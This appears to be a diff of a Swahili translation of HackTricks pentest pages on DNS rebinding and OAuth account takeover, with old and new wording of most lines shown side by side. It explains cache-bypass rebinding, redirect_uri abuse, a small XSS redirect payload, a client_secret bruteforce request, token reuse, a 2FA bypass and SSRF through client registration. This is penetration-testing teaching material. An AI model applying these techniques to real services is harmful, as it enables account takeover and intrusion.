Ni muhimu kutambua kwamba vivinjari vina mifumo ya kuhifadhi ambayo inaweza kuzuia matumizi ya haraka ya mbinu hii, hata na thamani za TTL za chini.
DNS rebinding inaweza kuwa na manufaa kwa kupita ukaguzi wa IP wazi unaofanywa na mwathirika au kwa hali ambapo mtumiaji au bot inabaki kwenye ukurasa mmoja kwa muda mrefu, kuruhusu cache kuisha.
DNS rebinding inaweza kuwa na manufaa kwa kupita ukaguzi wa IP wazi unaofanywa na mwathirika au kwa hali ambapo mtumiaji au bot inabaki kwenye ukurasa mmoja kwa muda mrefu, ikiruhusu cache kuisha.
Ikiwa unahitaji njia ya haraka ya kutumia DNS rebinding, unaweza kutumia huduma kama [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
@ -311,13 +349,13 @@ Unaweza pia kuchunguza seva inayofanya kazi hadharani kwenye [http://rebind.it/s
### DNS Rebinding via **DNS Cache Flooding**
DNS rebinding kupitia mafuriko ya cache ya DNS ni mbinu nyingine inayotumiwa kupita mfumo wa kuhifadhi wa vivinjari na kulazimisha ombi la pili la DNS. Hapa kuna jinsi inavyofanya kazi:
DNS rebinding kupitia mafuriko ya cache ya DNS ni mbinu nyingine inayotumika kupita mfumo wa kuhifadhi wa vivinjari na kulazimisha ombi la pili la DNS. Hapa kuna jinsi inavyofanya kazi:
1. Kwanza, wakati mwathirika anafanya ombi la DNS, linajibiwa kwa anwani ya IP ya mshambuliaji.
2. Ili kupita ulinzi wa kuhifadhi, mshambuliaji anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma anafurika cache ya DNS, ambayo kwa ufanisi inafuta jina la seva ya mshambuliaji lililohifadhiwa.
3. Wakati kivinjari cha mwathirika kinapofanya ombi la pili la DNS, sasa kinajibiwa kwa anwani ya IP 127.0.0.1, ambayo kwa kawaida inarejelea localhost.
2. Ili kupita ulinzi wa kuhifadhi, mshambuliaji anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma unafurika cache ya DNS, ambayo kwa ufanisi inafuta jina la seva ya mshambuliaji lililohifadhiwa.
3. Wakati kivinjari cha mwathirika kinapofanya ombi la pili la DNS, sasa linajibiwa kwa anwani ya IP 127.0.0.1, ambayo kwa kawaida inarejelea localhost.
Kwa kufurika cache ya DNS na mfanyakazi wa huduma, mshambuliaji anaweza kudhibiti mchakato wa kutatua DNS na kulazimisha kivinjari cha mwathirika kufanya ombi la pili, wakati huu likitatuliwa kwa anwani ya IP inayotakiwa na mshambuliaji.
Kwa kufurika cache ya DNS na mfanyakazi wa huduma, mshambuliaji anaweza kubadilisha mchakato wa kutatua DNS na kulazimisha kivinjari cha mwathirika kufanya ombi la pili, wakati huu likitatuliwa kwa anwani ya IP inayotakiwa na mshambuliaji.
### DNS Rebinding via **Cache**
@ -328,13 +366,13 @@ Njia nyingine ya kupita ulinzi wa kuhifadhi ni kwa kutumia anwani nyingi za IP k
3. Ikiwa kivinjari kitachagua kutumia anwani ya IP ya mshambuliaji kwanza, mshambuliaji anaweza kutoa payload inayofanya maombi ya HTTP kwa eneo hilo hilo.
4. Hata hivyo, mara mshambuliaji anapopata anwani ya IP ya mwathirika, wanakoma kujibu kivinjari cha mwathirika.
5. Kivinjari cha mwathirika, kinapogundua kwamba eneo halijibu, kinahamia kutumia anwani ya pili ya IP iliyotolewa.
6. Kwa kufikia anwani ya pili ya IP, kivinjari kinapita Sera ya Asili Moja (SOP), kuruhusu mshambuliaji kutumia hii na kukusanya na kuhamasisha taarifa.
6. Kwa kufikia anwani ya pili ya IP, kivinjari kinapita Sera ya Asili Moja (SOP), ikiruhusu mshambuliaji kutumia hii na kukusanya na kuhamasisha taarifa.
Mbinu hii inatumia tabia ya vivinjari wakati anwani nyingi za IP zinatolewa kwa eneo. Kwa kudhibiti kwa makusudi majibu na kudhibiti uchaguzi wa anwani ya IP ya kivinjari, mshambuliaji anaweza kutumia SOP na kufikia taarifa kutoka kwa mwathirika.
Mbinu hii inatumia tabia ya vivinjari wakati anwani nyingi za IP zinatolewa kwa eneo. Kwa kudhibiti kwa makusudi majibu na kubadilisha chaguo la kivinjari la anwani ya IP, mshambuliaji anaweza kutumia SOP na kufikia taarifa kutoka kwa mwathirika.
{% hint style="warning" %}
Kumbuka kwamba ili kufikia localhost unapaswa kujaribu kuunganisha **127.0.0.1** katika Windows na **0.0.0.0** katika linux.\
Watoa huduma kama godaddy au cloudflare hawakuniruhusu kutumia ip 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi moja ya A yenye anwani 2 ambapo moja yao ni "0.0.0.0"
Watoa huduma kama godaddy au cloudflare hawakuniruhusu kutumia ip 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi moja ya A yenye anwani 2 za IP moja ikiwa "0.0.0.0"
<img src="../.gitbook/assets/image (140).png" alt="" data-size="original">
{% endhint %}
@ -351,7 +389,7 @@ Kwa maelezo zaidi unaweza kuangalia [https://unit42.paloaltonetworks.com/dns-reb
Unaweza kupata maelezo zaidi kuhusu mbinu za kupita zilizotajwa hapo awali na jinsi ya kutumia chombo kinachofuata katika mazungumzo [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni chombo cha kufanya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) mashambulizi. Inajumuisha vipengele muhimu vya kuunganisha anwani ya IP ya jina la seva ya shambulizi na anwani ya IP ya mashine lengwa na kutoa payloads za shambulizi ili kutumia programu dhaifu kwenye mashine lengwa.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni chombo cha kufanya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) mashambulizi. Inajumuisha vipengele muhimu vya kuunganisha anwani ya IP ya jina la seva ya shambulizi na anwani ya IP ya mashine lengwa na kutoa payload za shambulizi ili kutumia programu dhaifu kwenye mashine lengwa.
### Real Protection against DNS Rebinding
@ -388,8 +426,8 @@ Unaweza kupata maelezo zaidi kuhusu mbinu za kupita zilizotajwa hapo awali na ji
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# OAuth to Account takeover
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Basic Information <a href="#d4a8" id="d4a8"></a>
OAuth inatoa toleo mbalimbali, huku maarifa ya msingi yanapatikana katika [OAuth 2.0 documentation](https://oauth.net/2/). Majadiliano haya yanazingatia hasa [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), ikitoa **mfumo wa ruhusa unaowezesha programu kufikia au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine** (seva ya ruhusa).
OAuth inatoa toleo mbalimbali, huku maarifa ya msingi yanapatikana katika [OAuth 2.0 documentation](https://oauth.net/2/). Majadiliano haya yanazingatia hasa [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), ikitoa **mfumo wa idhini unaowezesha programu kufikia au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine** (seva ya idhini).
Fikiria tovuti ya mfano _**https://example.com**_, iliyoundwa ili **kuonyesha machapisho yako yote ya mitandao ya kijamii**, ikiwa ni pamoja na ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumika. _https://example.com_ itahitaji ruhusa yako ili **kufikia machapisho yako ya mitandao ya kijamii**. Kwa hivyo, skrini ya idhini itaonekana kwenye _https://socialmedia.com_, ikielezea **ruhusa zinazohitajika na mtengenezaji anayefanya ombi**. Baada ya idhini yako, _https://example.com_ inapata uwezo wa **kufikia machapisho yako kwa niaba yako**.
@ -29,16 +29,16 @@ Ni muhimu kuelewa vipengele vifuatavyo ndani ya mfumo wa OAuth 2.0:
* **mwenye rasilimali**: Wewe, kama **mtumiaji/kitengo**, unaruhusu ufikiaji wa rasilimali yako, kama vile machapisho ya akaunti yako ya mitandao ya kijamii.
* **seva ya rasilimali**: **seva inayosimamia maombi yaliyothibitishwa** baada ya programu kupata `access token` kwa niaba ya `mwenye rasilimali`, mfano, **https://socialmedia.com**.
* **programu ya mteja**: **programu inayotafuta ruhusa** kutoka kwa `mwenye rasilimali`, kama vile **https://example.com**.
* **seva ya ruhusa**: **seva inayotoa `access tokens`** kwa `programu ya mteja` baada ya uthibitisho wa mafanikio wa `mwenye rasilimali` na kupata ruhusa, mfano, **https://socialmedia.com**.
* **programu ya mteja**: **programu inayotafuta idhini** kutoka kwa `mwenye rasilimali`, kama vile **https://example.com**.
* **seva ya idhini**: **seva inayotoa `access tokens`** kwa `programu ya mteja` baada ya uthibitisho wa mafanikio wa `mwenye rasilimali` na kupata idhini, mfano, **https://socialmedia.com**.
* **client\_id**: Kitambulisho cha umma, cha kipekee kwa programu.
* **client\_secret:** Funguo ya siri, inayojulikana tu kwa programu na seva ya ruhusa, inayotumika kwa ajili ya kuzalisha `access_tokens`.
* **client\_secret:** Funguo ya siri, inayojulikana pekee kwa programu na seva ya idhini, inayotumika kwa ajili ya kuzalisha `access_tokens`.
* **response\_type**: Thamani inayobainisha **aina ya token inayohitajika**, kama `code`.
* **scope**: **ngazi ya ufikiaji** ambayo `programu ya mteja` inahitaji kutoka kwa `mwenye rasilimali`.
* **redirect\_uri**: **URL ambayo mtumiaji anarejeshwa baada ya ruhusa**. Hii kwa kawaida inapaswa kuendana na URL ya kuhamasisha iliyosajiliwa awali.
* **state**: Kigezo cha **kuhifadhi data wakati wa kuelekeza mtumiaji kwenda na kutoka kwa seva ya ruhusa**. Upekee wake ni muhimu kwa ajili ya kutumikia kama **mekanismu ya ulinzi wa CSRF**.
* **grant\_type**: Kigezo kinachoashiria **aina ya ruhusa na aina ya token itakayorejeshwa**.
* **code**: Kodu ya ruhusa kutoka kwa `seva ya ruhusa`, inayotumika pamoja na `client_id` na `client_secret` na programu ya mteja ili kupata `access_token`.
* **redirect\_uri**: **URL ambayo mtumiaji anarejeshwa baada ya idhini**. Hii kwa kawaida inapaswa kuendana na URL ya kuhamasisha iliyosajiliwa awali.
* **state**: Kigezo cha **kuhifadhi data wakati wa kuelekeza mtumiaji kwenda na kurudi kutoka kwa seva ya idhini**. Upekee wake ni muhimu kwa ajili ya kutumikia kama **mekanismu ya ulinzi wa CSRF**.
* **grant\_type**: Kigezo kinachoashiria **aina ya idhini na aina ya token itakayorejeshwa**.
* **code**: Kodu ya idhini kutoka kwa `seva ya idhini`, inayotumika pamoja na `client_id` na `client_secret` na programu ya mteja ili kupata `access_token`.
* **access\_token**: **token ambayo programu ya mteja inatumia kwa maombi ya API** kwa niaba ya `mwenye rasilimali`.
* **refresh\_token**: Inaruhusu programu **kupata `access_token` mpya bila kumlazimisha mtumiaji tena**.
@ -67,19 +67,19 @@ POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. Hatimaye, mchakato unamalizika wakati https://example.com inatumia `access_token` yako kufanya wito wa API kwa Mitandao ya Kijamii kupata
6. Hatimaye, mchakato unamalizika wakati https://example.com inatumia `access_token` yako kufanya wito wa API kwa Social Media ili kufikia
## Vulnerabilities <a href="#id-323a" id="id-323a"></a>
### Open redirect\_uri <a href="#cc36" id="cc36"></a>
`redirect_uri` ni muhimu kwa usalama katika utekelezaji wa OAuth na OpenID, kwani inaelekeza mahali ambapo data nyeti, kama vile misimbo ya idhini, inatumwa baada ya idhini. Ikiwa imewekwa vibaya, inaweza kuruhusu washambuliaji kuelekeza maombi haya kwa seva mbaya, na kuwezesha kuchukua akaunti.
`redirect_uri` ni muhimu kwa usalama katika utekelezaji wa OAuth na OpenID, kwani inaelekeza mahali ambapo data nyeti, kama vile nambari za idhini, zinatumwa baada ya idhini. Ikiwa imewekwa vibaya, inaweza kuruhusu washambuliaji kuelekeza maombi haya kwa seva mbaya, na kuwezesha kuchukuliwa kwa akaunti.
Mbinu za unyakuzi zinatofautiana kulingana na mantiki ya uthibitishaji ya seva ya idhini. Zinweza kutofautiana kutoka kwa mechi kali ya njia hadi kukubali URL yoyote ndani ya kikoa au saraka iliyoainishwa. Mbinu za kawaida za unyakuzi ni pamoja na kuelekeza wazi, kupita njia, kutumia regex dhaifu, na kuingiza HTML kwa wizi wa token.
Mbinu za unyakuzi zinatofautiana kulingana na mantiki ya uthibitishaji ya seva ya idhini. Zinweza kutofautiana kutoka kwa mechi kali ya njia hadi kukubali URL yoyote ndani ya eneo au saraka iliyoainishwa. Mbinu za kawaida za unyakuzi ni pamoja na kuelekeza wazi, kupita njia, kutumia regex dhaifu, na kuingiza HTML kwa wizi wa token.
Mbali na `redirect_uri`, vigezo vingine vya OAuth na OpenID kama `client_uri`, `policy_uri`, `tos_uri`, na `initiate_login_uri` pia vinaweza kuathiriwa na mashambulizi ya kuelekeza. Vigezo hivi ni hiari na msaada wao unatofautiana kati ya seva.
Mbali na `redirect_uri`, vigezo vingine vya OAuth na OpenID kama `client_uri`, `policy_uri`, `tos_uri`, na `initiate_login_uri` pia vinaweza kuathiriwa na mashambulizi ya kuelekeza. Vigezo hivi ni hiari na msaada wao unategemea seva.
Kwa wale wanaolenga seva ya OpenID, mwisho wa ugunduzi (`**.well-known/openid-configuration**`) mara nyingi huorodhesha maelezo muhimu ya usanidi kama `registration_endpoint`, `request_uri_parameter_supported`, na "`require_request_uri_registration`. Maelezo haya yanaweza kusaidia katika kubaini mwisho wa usajili na maelezo mengine ya usanidi wa seva.
Kwa wale wanaolenga seva ya OpenID, mwisho wa ugunduzi (`**.well-known/openid-configuration**`) mara nyingi huorodhesha maelezo muhimu ya usanidi kama `registration_endpoint`, `request_uri_parameter_supported`, na "`require_request_uri_registration`. Maelezo haya yanaweza kusaidia katika kubaini mwisho wa usajili na maelezo mengine ya usanidi ya seva.
### XSS katika utekelezaji wa kuelekeza <a href="#bda5" id="bda5"></a>
@ -87,30 +87,30 @@ Kama ilivyotajwa katika ripoti hii ya bug bounty [https://blog.dixitaditya.com/2
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
### CSRF - Usimamizi mbaya wa parameter ya hali <a href="#bda5" id="bda5"></a>
Katika utekelezaji wa OAuth, matumizi mabaya au kukosekana kwa **`state` parameter** kunaweza kuongeza hatari ya mashambulizi ya **Cross-Site Request Forgery (CSRF)** kwa kiasi kikubwa. Uthibitisho huu unatokea wakati **`state` parameter** haijatumiwa, imetumiwa kama thamani ya kudumu, au haijathibitishwa ipasavyo, ikiruhusu washambuliaji kupita ulinzi wa CSRF.
Washambuliaji wanaweza kutumia hii kwa kukamata mchakato wa uthibitisho ili kuunganisha akaunti yao na akaunti ya mwathirika, na kusababisha uwezekano wa **account takeovers**. Hii ni muhimu hasa katika programu ambapo OAuth inatumika kwa **authentication purposes**.
Washambuliaji wanaweza kutumia hii kwa kukamata mchakato wa uthibitishaji ili kuunganisha akaunti yao na akaunti ya mwathirika, na kusababisha **uchukuaji wa akaunti**. Hii ni muhimu hasa katika programu ambapo OAuth inatumika kwa **malengo ya uthibitishaji**.
Mifano halisi ya udhaifu huu imeandikwa katika changamoto mbalimbali za **CTF** na **hacking platforms**, ikionyesha athari zake za vitendo. Tatizo hili pia linapanuka kwa ushirikiano na huduma za upande wa tatu kama **Slack**, **Stripe**, na **PayPal**, ambapo washambuliaji wanaweza kuelekeza arifa au malipo kwa akaunti zao.
Mifano halisi ya udhaifu huu imeandikwa katika changamoto mbalimbali za **CTF** na **majukwaa ya hacking**, ikionyesha athari zake za vitendo. Tatizo hili pia linapanuka kwa ushirikiano na huduma za upande wa tatu kama **Slack**, **Stripe**, na **PayPal**, ambapo washambuliaji wanaweza kuelekeza arifa au malipo kwa akaunti zao.
Kushughulikia na kuthibitisha ipasavyo **`state` parameter** ni muhimu kwa kulinda dhidi ya CSRF na kuhakikisha mchakato wa OAuth unakuwa salama.
Usimamizi na uthibitisho sahihi wa **`state` parameter** ni muhimu kwa kulinda dhidi ya CSRF na kuhakikisha mchakato wa OAuth unakuwa salama.
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
### Kabla ya Uchukuaji wa Akaunti <a href="#ebe4" id="ebe4"></a>
1. **Bila Uthibitisho wa Barua Pepe kwenye Uundaji wa Akaunti**: Washambuliaji wanaweza kuunda akaunti kabla kwa kutumia barua pepe ya mwathirika. Ikiwa mwathirika baadaye anatumia huduma ya upande wa tatu kuingia, programu inaweza bila kukusudia kuunganisha akaunti hii ya upande wa tatu na akaunti iliyoundwa na mshambuliaji, na kusababisha ufikiaji usioidhinishwa.
2. **Kutatiza Uthibitisho wa Barua Pepe wa OAuth**: Washambuliaji wanaweza kutumia huduma za OAuth ambazo hazithibitishi barua pepe kwa kujiandikisha na huduma yao na kisha kubadilisha barua pepe ya akaunti kuwa ya mwathirika. Njia hii pia ina hatari ya ufikiaji usioidhinishwa wa akaunti, sawa na hali ya kwanza lakini kupitia njia tofauti ya shambulio.
2. **Kutatua Uthibitisho wa Barua Pepe wa OAuth**: Washambuliaji wanaweza kutumia huduma za OAuth ambazo hazithibitishi barua pepe kwa kujiandikisha na huduma yao na kisha kubadilisha barua pepe ya akaunti kuwa ya mwathirika. Njia hii pia ina hatari ya ufikiaji usioidhinishwa wa akaunti, kama ilivyo katika hali ya kwanza lakini kupitia njia tofauti ya shambulio.
### Disclosure of Secrets <a href="#e177" id="e177"></a>
### Ufunuo wa Siri <a href="#e177" id="e177"></a>
Kutambua na kulinda vigezo vya siri vya OAuth ni muhimu. Ingawa **`client_id`** inaweza kufichuliwa kwa usalama, kufichua **`client_secret`** kuna hatari kubwa. Ikiwa **`client_secret`** itakabiliwa, washambuliaji wanaweza kutumia utambulisho na imani ya programu ili **kuiba `access_tokens` za mtumiaji** na taarifa binafsi.
Udhaifu wa kawaida unatokea wakati programu zinashughulikia kwa makosa kubadilishana `code` ya uthibitisho kwa `access_token` upande wa mteja badala ya upande wa seva. Makosa haya yanapelekea kufichuliwa kwa **`client_secret`**, ikiruhusu washambuliaji kuunda `access_tokens` chini ya kivuli cha programu. Zaidi ya hayo, kupitia uhandisi wa kijamii, washambuliaji wanaweza kuongeza mamlaka kwa kuongeza maeneo mengine kwenye uthibitisho wa OAuth, wakitumia zaidi hadhi ya kuaminika ya programu.
Udhaifu wa kawaida unatokea wakati programu zinashughulikia kwa makosa kubadilishana `code` ya uthibitisho kwa `access_token` upande wa mteja badala ya upande wa seva. Makosa haya yanapelekea kufichuliwa kwa **`client_secret`**, ikiruhusu washambuliaji kuunda `access_tokens` chini ya kivuli cha programu. Zaidi ya hayo, kupitia uhandisi wa kijamii, washambuliaji wanaweza kuongeza mamlaka kwa kuongeza maeneo mengine kwenye uthibitisho wa OAuth, wakitumia hali ya kuaminika ya programu.
### Client Secret Bruteforce
### Bruteforce ya Siri ya Mteja
Unaweza kujaribu **bruteforce the client\_secret** ya mtoa huduma na mtoa kitambulisho ili kujaribu kuiba akaunti.\
Unaweza kujaribu **bruteforce the client_secret** ya mtoa huduma na mtoa kitambulisho ili kujaribu kuiba akaunti.\
Ombi la BF linaweza kuonekana kama:
```
POST /token HTTP/1.1
@ -123,7 +123,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
Mara tu mteja ana **code and state**, ikiwa inatolewa ndani ya **Referer header** anapovinjari kwenye ukurasa tofauti, basi iko hatarini.
Mara tu mteja ana **code and state**, ikiwa inatolewa **ndani ya Referer header** anapovinjari kwenye ukurasa tofauti, basi iko hatarini.
### Access Token Stored in Browser History
@ -131,7 +131,7 @@ Nenda kwenye **browser history na uangalie kama access token imehifadhiwa huko**
### Everlasting Authorization Code
**Authorization code inapaswa kuishi kwa muda fulani tu ili kupunguza dirisha la muda ambapo mshambuliaji anaweza kuiba na kuitumia**.
**Authorization code inapaswa kuishi kwa muda fulani tu ili kupunguza muda ambao mshambuliaji anaweza kuiba na kuitumia**.
### Authorization/Refresh Token not bound to client
@ -166,12 +166,12 @@ For more detailed info about how to abuse AWS cognito check:
### Abusing other Apps tokens <a href="#bda5" id="bda5"></a>
Kama [**ilivyotajwa katika andiko hili**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), mchakato wa OAuth unaotarajia kupokea **token** (na si nambari) unaweza kuwa na hatari ikiwa hauhakiki kwamba token inamhusu programu.
Kama [**ilivyotajwa katika andiko hili**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), mchakato wa OAuth unaotarajia kupokea **token** (na si nambari) unaweza kuwa na hatari ikiwa hauhakiki kwamba token inamhusu programu hiyo.
Hii ni kwa sababu **mshambuliaji** anaweza kuunda **programu inayounga mkono OAuth na kuingia na Facebook** (kwa mfano) katika programu yake mwenyewe. Kisha, mara tu mwathirika anapoingia na Facebook katika **programu ya mshambuliaji**, mshambuliaji anaweza kupata **OAuth token ya mtumiaji iliyotolewa kwa programu yake, na kuitumia kuingia katika programu ya OAuth ya mwathirika kwa kutumia token ya mtumiaji wa mwathirika**.
Hii ni kwa sababu **mshambuliaji** anaweza kuunda **programu inayounga mkono OAuth na kuingia na Facebook** (kwa mfano) katika programu yake mwenyewe. Kisha, mara tu mwathirika anapoingia na Facebook katika **programu ya mshambuliaji**, mshambuliaji anaweza kupata **OAuth token ya mtumiaji aliyepewa programu yake, na kuitumia kuingia katika programu ya mwathirika ya OAuth kwa kutumia token ya mtumiaji wa mwathirika**.
{% hint style="danger" %}
Hivyo, ikiwa mshambuliaji atafanikiwa kumfanya mtumiaji aingie katika programu yake ya OAuth, ataweza kuchukua akaunti ya mwathirika katika programu zinazotarajia token na hazihakiki kama token ilitolewa kwa ID yao ya programu.
Hivyo, ikiwa mshambuliaji atafanikiwa kumfanya mtumiaji aingie katika programu yake ya OAuth, atakuwa na uwezo wa kuchukua akaunti ya mwathirika katika programu zinazotarajia token na hazihakiki kama token ilitolewa kwa ID yao ya programu.
{% endhint %}
### Two links & cookie <a href="#bda5" id="bda5"></a>
@ -186,33 +186,37 @@ Kama ilivyoelezwa katika [**video hii**](https://www.youtube.com/watch?v=n9x7\_J
### response\_mode
Kama [**ilivyoelezwa katika video hii**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), inaweza kuwa inawezekana kuashiria parameter **`response_mode`** kuonyesha unataka nambari ipatikane wapi katika URL ya mwisho:
Kama [**ilivyoelezwa katika video hii**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), inaweza kuwa inawezekana kuashiria parameter **`response_mode`** kuonyesha unataka nambari ipi itolewe katika URL ya mwisho:
* `response_mode=query` -> Nambari inapatikana ndani ya parameter ya GET: `?code=2397rf3gu93f`
* `response_mode=fragment` -> Nambari inapatikana ndani ya parameter ya URL fragment `#code=2397rf3gu93f`
* `response_mode=form_post` -> Nambari inapatikana ndani ya fomu ya POST yenye input inayoitwa `code` na thamani
* `response_mode=query` -> Nambari inatolewa ndani ya parameter ya GET: `?code=2397rf3gu93f`
* `response_mode=fragment` -> Nambari inatolewa ndani ya parameter ya URL fragment `#code=2397rf3gu93f`
* `response_mode=form_post` -> Nambari inatolewa ndani ya fomu ya POST yenye input inayoitwa `code` na thamani
* `response_mode=web_message` -> Nambari inatumwa katika ujumbe wa posta: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
Kulingana na [**andiko hili la blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), huu ni mchakato wa OAuth unaoruhusu kuingia katika OAuth kupitia **jina la mtumiaji** na **nenosiri**. Ikiwa wakati wa mchakato huu rahisi **token** yenye ufikiaji kwa vitendo vyote ambavyo mtumiaji anaweza kufanya inarudishwa basi inawezekana kupita 2FA kwa kutumia token hiyo.
### SSRFs parameters <a href="#bda5" id="bda5"></a>
[**Angalia utafiti huu**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Kwa maelezo zaidi ya mbinu hii.**
Usajili wa Wateja wa Kijadi katika OAuth unatumika kama njia isiyo wazi lakini muhimu kwa udhaifu wa usalama, haswa kwa mashambulizi ya **Server-Side Request Forgery (SSRF)**. Kituo hiki kinawaruhusu seva za OAuth kupokea maelezo kuhusu programu za wateja, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumika vibaya.
Usajili wa Mteja wa Kijivu katika OAuth unatumika kama njia isiyo wazi lakini muhimu kwa udhaifu wa usalama, haswa kwa mashambulizi ya **Server-Side Request Forgery (SSRF)**. Kituo hiki kinaruhusu seva za OAuth kupokea maelezo kuhusu programu za wateja, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumika vibaya.
**Mambo Muhimu:**
* **Usajili wa Wateja wa Kijadi** mara nyingi unahusishwa na `/register` na unakubali maelezo kama `client_name`, `client_secret`, `redirect_uris`, na URLs za nembo au Sets za JSON Web Key (JWKs) kupitia maombi ya POST.
* **Usajili wa Mteja wa Kijivu** mara nyingi unahusishwa na `/register` na unakubali maelezo kama vile `client_name`, `client_secret`, `redirect_uris`, na URLs za nembo au Sets za JSON Web Key (JWKs) kupitia maombi ya POST.
* Kipengele hiki kinazingatia viwango vilivyowekwa katika **RFC7591** na **OpenID Connect Registration 1.0**, ambavyo vinajumuisha parameters zinazoweza kuwa na hatari kwa SSRF.
* Mchakato wa usajili unaweza bila kukusudia kufichua seva kwa SSRF kwa njia kadhaa:
* **`logo_uri`**: URL ya nembo ya programu ya mteja ambayo inaweza kupatikana na seva, ikisababisha SSRF au kupelekea XSS ikiwa URL itashughulikiwa vibaya.
* **`jwks_uri`**: URL ya hati ya JWK ya mteja, ambayo ikiwa imeundwa kwa njia mbaya, inaweza kusababisha seva kufanya maombi ya nje kwa seva inayodhibitiwa na mshambuliaji.
* **`sector_identifier_uri`**: Inarejelea orodha ya JSON ya `redirect_uris`, ambayo seva inaweza kufikia, ikileta fursa ya SSRF.
* **`request_uris`**: Inataja URIs za maombi zinazoruhusiwa kwa mteja, ambazo zinaweza kutumika vibaya ikiwa seva itapata URIs hizi mwanzoni mwa mchakato waidhinishaji.
* **`sector_identifier_uri`**: Inarejelea orodha ya JSON ya `redirect_uris`, ambayo seva inaweza kupakua, ikileta fursa ya SSRF.
* **`request_uris`**: Inataja URIs za maombi zinazoruhusiwa kwa mteja, ambazo zinaweza kutumika vibaya ikiwa seva itachukua URIs hizi mwanzoni mwa mchakato waidhinishaji.
**Mkakati wa Kutumia:**
* SSRF inaweza kuanzishwa kwa kujiandikisha mteja mpya na URLs mbaya katika parameters kama `logo_uri`, `jwks_uri`, au `sector_identifier_uri`.
* Ingawa matumizi ya moja kwa moja kupitia `request_uris` yanaweza kupunguziliwa mbali na udhibiti wa orodha ya ruhusa, kutoa `request_uri` iliyosajiliwa awali, inayodhibitiwa na mshambuliaji kunaweza kuwezesha SSRF wakati wa hatua ya uthibitishaji.
* SSRF inaweza kuanzishwa kwa kujiandikisha mteja mpya na URLs za uharibifu katika parameters kama vile `logo_uri`, `jwks_uri`, au `sector_identifier_uri`.
* Ingawa matumizi ya moja kwa moja kupitia `request_uris` yanaweza kupunguziliwa mbali na udhibiti wa orodha ya ruhusa, kutoa `request_uri` iliyosajiliwa awali, inayodhibitiwa na mshambuliaji kunaweza kuwezesha SSRF wakati wa awamu ya uthibitishaji.
## OAuth providers Race Conditions
@ -228,8 +232,8 @@ Ikiwa jukwaa unalojaribu ni mtoa huduma wa OAuth [**soma hii ili kujaribu uwezek
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
